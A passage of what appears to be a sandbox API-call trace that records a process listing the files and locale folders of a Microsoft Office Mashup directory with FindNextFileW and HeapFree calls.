ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0115.042] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.042] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1 [0115.060] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.062] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0115.070] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.070] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0115.101] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.101] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0115.103] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.103] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1 [0115.105] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.105] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0115.106] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.106] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0115.108] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.108] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0115.110] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.110] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0115.111] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.111] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0115.113] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.113] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0115.115] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.115] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0115.115] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.115] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1 [0115.120] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.120] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0115.298] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0115.298] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0116.064] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0116.153] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0116.161] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0116.161] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0116.163] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0116.163] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0116.172] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0116.172] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1 [0116.175] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0116.175] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1 [0116.178] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0116.178] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0116.185] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0116.185] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1 [0116.187] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0116.187] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0116.189] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0116.190] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0117.692] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x349e918 | out: lpFindFileData=0x349e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.760] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x349e918 | out: lpFindFileData=0x349e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc70564d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc70564d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc72b8a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0117.767] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0117.768] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0117.899] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0117.899] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0117.937] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0117.937] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0119.464] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0119.465] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0119.468] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.468] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1 [0119.470] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.471] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1 [0119.473] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.473] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0119.475] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.476] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0119.479] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.479] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.481] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.482] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0119.484] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.484] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0119.487] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.487] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0119.489] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.489] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 